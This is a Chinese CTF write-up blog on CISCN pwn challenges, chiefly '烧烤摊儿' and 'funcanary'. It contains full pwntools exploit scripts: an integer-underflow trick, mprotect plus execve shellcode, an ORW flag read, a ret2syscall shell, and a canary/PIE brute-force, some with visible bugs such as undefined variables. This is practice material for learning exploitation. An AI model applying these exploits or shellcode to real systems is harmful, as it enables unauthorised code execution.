国赛-CISCN

2023-PWN-烧烤摊儿

2024.7.31

日常检查

image-20240731114020056

丢进ida里面看看

国赛题是不一样哈!!

ida都不好分析(中文字符串反编译不出来)

☝🤓

1
https://blog.csdn.net/donglxd/article/details/135243027

找到办法了

image-20240731153400621

嗯~舒服多了!

找一下漏洞,栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
__int64 gaiming()
{
int v0; // edx
int v1; // ecx
int v2; // r8d
int v3; // r9d
char v5[32]; // [rsp+0h] [rbp-20h] BYREF
puts("烧烤摊儿已归你所有,请赐名:");
_isoc99_scanf("%s", v5, v0, v1, v2, v3);
j_strcpy_ifunc(name, v5);
return 0LL;
}

"%s" 格式化字符串会读取一个字符串,直到遇到空白字符(空格、换行等),并且不会对输入长度进行限制。

ok,说明可以通过溢出来进行泄露。并且注意到V5给name赋值,并且name还在全局变量data段上。

这里有三种方法,都学习一下 🙌🙌 这个大佬写的wp灰常NB 【CISCN 2023】烧烤摊儿 | 坠入星野的月🌙 (uf4te.cn)

方法一:ret2shellcode(mprotect 修改权限)

因为name在data段上,所以考虑把shellcode那么写在data着(我以前以为canary开着无法写shellcode呢)

首先,查看一下权限,我们看到地址

1
.data:00000000004E60F0 name            db '大金',0               ; DATA XREF: menu+C↑o

可以看到

image-20240731161536756

并没有可执行权限,这是就是利用mprotect()函数了,ida里面知道起始地址

1
mprotect	.text	0000000000458B00	00000025	00000000		R	.	.	.	.	.	.	.	.

image-20240731161715361

mprotect() 函数是 Unix 和类 Unix 系统(如 Linux)上的一个系统调用,用于改变一个内存区域的保护状态。这个函数允许程序控制特定内存段的访问权限,比如是否允许读取、写入或执行该内存段的内容。这对于实现安全机制、保护敏感数据或创建特定权限的内存区域(如只读的代码段或只写的数据段)非常有用。

然后就是找一些合适的ROP了(工具ROPgadget)

1
2
3
4
5
6
7
8
9
10
'''
0x000000000040264f : pop rdi ; ret
0x000000000040a67e : pop rsi ; ret
0x000000000040101a : ret
0x00000000004a404b : pop rdx ; pop rbx ; ret
'''
pop_rdi=0x000000000040264f
pop_rsi=0x000000000040a67e
pop_rdx_rbx=0x00000000004a404b
ret_addr=0x000000000040101a

image-20240731162657185

mprotect()用到的三个参数分别是:

rdi:要修改的内存页首地址 (我这里将 0x4e6000 ~ 0x4e9000 这段地址全部改为 rwx 权限)
rsi:要修改的内存页大小 (我这里段长度为 0x3000)
rdx:要修改的权限 (其中 r : 4,w : 2,x : 1,因此 rwx 为 4 + 2 + 1 = 7)

介绍一下大体思路:要收铺子就得有钱,这里就要看一下出题者给我们的提示了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 pijiu()
{
int v0; // edx
int v1; // ecx
int v2; // r8d
int v3; // r9d
int v4; // edx
int v5; // ecx
int v6; // r8d
int v7; // r9d
int v9; // [rsp+8h] [rbp-8h] BYREF
int v10; // [rsp+Ch] [rbp-4h] BYREF

v10 = 1;
v9 = 1;
puts("1. 青岛啤酒");
puts("2. 燕京U8");
puts("3. 勇闯天涯");
_isoc99_scanf("%d", &v10, v0, v1, v2, v3);
puts("来几瓶?");
_isoc99_scanf("%d", &v9, v4, v5, v6, v7);
if ( 10 * v9 >= money )
puts("诶哟,钱不够了");
else
money += -10 * v9;<<<=================================//这里也可以看见我们如果输入是负值,就可以让钱变多了
puts("咕噜咕噜...");
return 0LL;
}

在看一下vip()就知道要的钱比100000多就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 vip()
{
puts("老板,你这摊儿,我买了");
if ( money <= 100000 )
{
puts("没钱别瞎捣乱");
}
else
{
money -= 100000;
own = 1;
puts("成交");
}
return 0LL;
}

知道多少钱就可以买了,最后就可以到5进行溢出就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
r=remote('pwn.challenge.ctf.show',28274)

#params
pop_rdi=0x000000000040264f
pop_rsi=0x000000000040a67e
pop_rdx_rbx=0x00000000004a404b
ret_addr=0x000000000040101a
name_addr=0x0000000004E60F0
mprotect_addr=elf.symbols['mprotect']
main_addr=elf.symbols['main']

r.sendline("1")
r.sendline("1")
r.sendline("-100000000")
r.sendline("4")
r.sendline("5")

payload=b'a'*(0x20+8)
payload += p64(pop_rdi_addr) + p64(0x4E6000) + p64(pop_rsi_addr) + p64(0x3000) + p64(pop_rdx_rbx_addr) + p64(0x7) + p64(0) #至于这里的三个参数为啥是这样的,记得往上看
payload +=p64(mprotect_addr)+p64(ret_addr)+p64(main_addr)
r.sendline(payload)

r.sendline("1")
r.sendline("1")
r.sendline("-100000000")
r.sendline("4")
r.sendline("5")


shellcode= b'\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'

'''
\x48\x31\xd2 # xor rdx, rdx
\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68 # movabs rbx, 0x68732f6e69622f2f 这里是/bin/sh。只不过是小段存储
\x48\xc1\xeb\x08 # shr rbx, 8
\x53 # push rbx
\x48\x89\xe7 # mov rdi, rsp
\x50 # push rax
\x57 # push rdi
\x48\x89\xe6 # mov rsi, rsp
\xb0\x3b # mov al, 0x3b
\x0f\x05 # syscall
'''
#shellode的这块编写应该是一样的,仔细看看

payload=payload = shellcode.ljust(0x28, b'\x00')
payload += p64(name_addr)
r.sendline(payload)
r.interactive()

方法二:ORW

总体思路不变,在买下摊铺后,执行5时,由于程序包含open64()、read()、write()函数

因此还可以利用V5的溢出使用ORW读出flag

确定三个函数的地址

1
2
3
4
5
6
open64	.text	0000000000457C90	00000128	00000078	00000001	R	.	.	.	.	.	.	T	.
read .text 0000000000457DC0 0000009D 00000020 R . . . . . . . .
write .text 0000000000457E60 0000009D 00000020 R . . . . . . . .
open_addr=0x000000000457C90
read_addr=0x000000000457DC0
write_addr=0x00000000457E60

首先通过__fastcall j_strcpy_ifunc()name中写入b'./flag\x00\x00',并将b'./flag\x00\x00'作为open64()函数的参数,构造open(b'./flag\x00\x00')用来打开当前目录名为flag的文件,其中0表示只读方式打开

然后构造 read(3, name_addr, 0x50) 将 flag 内容写入到 name 的地址处,再通过构造 write(1, name_addr, 0x50) 将 flag 内容从 name 的地址处输出到终端

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
#context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
io = remote("pwn.challenge.ctf.show",28297)
elf = ELF("./1111")

open64_addr=0x000000000457C90
read_addr=0x000000000457DC0
write_addr=0x00000000457E60
name_addr = 0x4E60F0
pop_rdi_addr = 0x40264f
pop_rsi_addr = 0x40a67e
pop_rdx_rbx_addr = 0x4a404b

io.sendline("1")
io.sendline("1")
io.sendline("-100000000")
io.sendline("4")
io.sendline("5")

# open(b'./flag\x00\x00', 0)
ORW = p64(pop_rdi_addr) + p64(name_addr) + p64(pop_rsi_addr) + p64(0) + p64(open64_addr)
# read(3, name_addr, 0x50)
ORW += p64(pop_rdi_addr) + p64(3) + p64(pop_rsi_addr) + p64(name_addr) + p64(pop_rdx_rbx_addr) + p64(0x50) + p64(0) + p64(read_addr)
# write(1, name_addr, 0x50)
ORW += p64(pop_rdi_addr) + p64(1) + p64(pop_rsi_addr) + p64(name_addr) + p64(pop_rdx_rbx_addr) + p64(0x50) + p64(0) + p64(write_addr)

payload = b'./flag\x00\x00'.ljust(0x28, b'a') # 向 name_addr 处填入b'./flag\x00\x00' 并补齐 8 字节,将长度填充到 0x28 至返回地址处
payload += ORW
io.sendline(payload)

io.interactive()

方法三:ret2syscall

前面步骤不变,,由于没有给出libc文件,并且可以向data段写入数据

所以想把data段上写入’‘/bin/sh’‘

但程序没有system函数,所以用execve函数来构造execve(“/bin/sh”, NULL, NULL)

image-20240731193244701

首先需要通过 j_strcpy_ifunc(&name, v5)name 中写入 b'/bin/sh\x00',并溢出 v5 构造 execve("/bin/sh", NULL, NULL) 执行

注意这里是将 b'/bin/sh\x00' 写入到 name,所以只能一次性 get shell

如果分两次的话,例如:第一次写入 b'/bin/sh\x00',第二次执行 execve("/bin/sh", NULL, NULL),则在第二次中执行 j_strcpy_ifunc(&name, v5) 又会将 name 覆盖掉,导致 get shell 失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
#context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
io = remote("pwn.challenge.ctf.show",28297) # 题目的远程端口
elf = ELF("./1111")

name_addr = 0x4E60F0
pop_rdi_addr = 0x40264f
pop_rsi_addr = 0x40a67e
pop_rdx_rbx_addr = 0x4a404b
pop_rax_addr = 0x458827
syscall_addr = 0x402404

io.sendline("1")
io.sendline("1")
io.sendline("-100000000")
io.sendline("4")
io.sendline("5")

payload = b'/bin/sh\x00'.ljust(0x28, b'a')
payload += p64(pop_rax_addr) + p64(0x3b)
payload += p64(pop_rdi_addr) + p64(name_addr)
payload += p64(pop_rsi_addr) + p64(0)
payload += p64(pop_rdx_rbx_addr) + p64(0) + p64(0)
payload += p64(syscall_addr)
io.sendline(payload)

io.interactive()

syscall相比来说是最简单的。

🙌🙌🙌🙌🙌🙌

2023-pwn-Shell We Go

2024.8.1

日常检查

image-20240801110609184

丢进ida里面看看

这就是国赛的强度吗?

欧克,搜索引擎启动!!!

我勒个豆,GO写的

🙌🙌🙌🙌🙌放着!

2023-pwn-funcanary

2024.8.1

日常检查

image-20240801112714271

ida里面看看

我觉得漏洞应该是这个read函数

1
2
3
4
5
6
7
8
9
unsigned __int64 sub_128A()
{
char buf[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+68h] [rbp-8h]

v2 = __readfsqword(0x28u);
read(0, buf, 128uLL);
return v2 - __readfsqword(0x28u);
}

嗯~应该怎么做呢,先把canary泄露出来吗?

rbp上面的那个吗?

gdb调调看

嘶! 地址随机化也开了

写脚本跑吗?

1
2
3
4
5
6
7
8
9
from pwn import *

r=remote('pwn.challenge.ctf.show',28255)

gdb.attach
pause()
r.recvuntil("welcome")
r.interactive()
##也不用其实,直接断点断在read函数,随便输个aaa,看栈情况,在rbp-8位置

嗯,也是找到canary了,直接溢出就行吗?

问的好,往哪溢呢?

1
0x9fa1efa401991800

有system函数不过,但是随机化不是开着呢吗?

嗯。怎么做呢?

image-20240801142947730

就正常绕就行呗!

image-20240801143320324

rop都不好整!

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
r=remote('pwn.challenge.ctf.show',28255)
elf=('./1111')
#gdb.attach
#pause()

#params
pop_rdi=

r.recvuntil("welcome")
r.interactive()

☝🤓,看什么的意思,ROP肯定是整不了

上网找一下

了解一下fork函数

1
2
3
4
5
6
7
/*
C语言中的fork()函数用于创建一个新的进程,该进程是原始进程(父进程)的一个副本。这个副本将从fork()函数之后的代码行开始执行,父进程和子进程在此处分别继续执行不同的代码。
fork()函数的返回值有以下三种可能情况:
如果返回-1,表示创建新进程失败。
如果返回0,表示当前进程是子进程。
如果返回一个正整数,表示当前进程是父进程,返回的整数是子进程的进程ID。
*/

嘶!!没仔细看其实是有一个后门的

image-20240801144702266

这就比较好办了。现在唯一要解决的就是怎么跳转就行!

1
backdoor=0x01229

爆破canary和pie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = remote("pwn.challenge.ctf.show",28255)
p.recvuntil('welcome\n')
canary = b'\x00' # 将初始的 canary 值改为字节串

for k in range(7): #总共要爆破7位
for i in range(256):
payload = b'a' * 0x68 + canary + bytes([i]) # 将所有相关字符串改为字节串并使用 bytes([i]) 来构造字节串
p.send(payload)
data = p.recvuntil("welcome\n")
print(data)
if b"fun" in data:
canary += bytes([i]) # 确保更新的 canary 也是字节串
print("canary is:" + str(canary))
break

back_door = 0x231
for i in range(15):
num=i<<12
payload = b'a' * 0x68 + p64(u64(canary)) + b'a' * 8 + p16(0x231+num)
p.send(payload)
flag=p.recv()
if b"ctfshow" in flag:
print(str(flag))
break
p.interactive()

这样爆破确实慢

唉。我是fw啊!!!

只能说了解了解

2024-gostack

2024.11.20

检查一下

image-20241120174130735

ida打开发现反编译是有问题的,啥也看不懂

so,我运行了一下

image-20241120173823473

只能说不是格式化字符串,好消息是看了一下保护机制,看着是没啥问题

怎么打呢?

看了一眼plt表,没啥特别熟悉的函数,肯定不是常规做法了,然后就是看见了mmap函数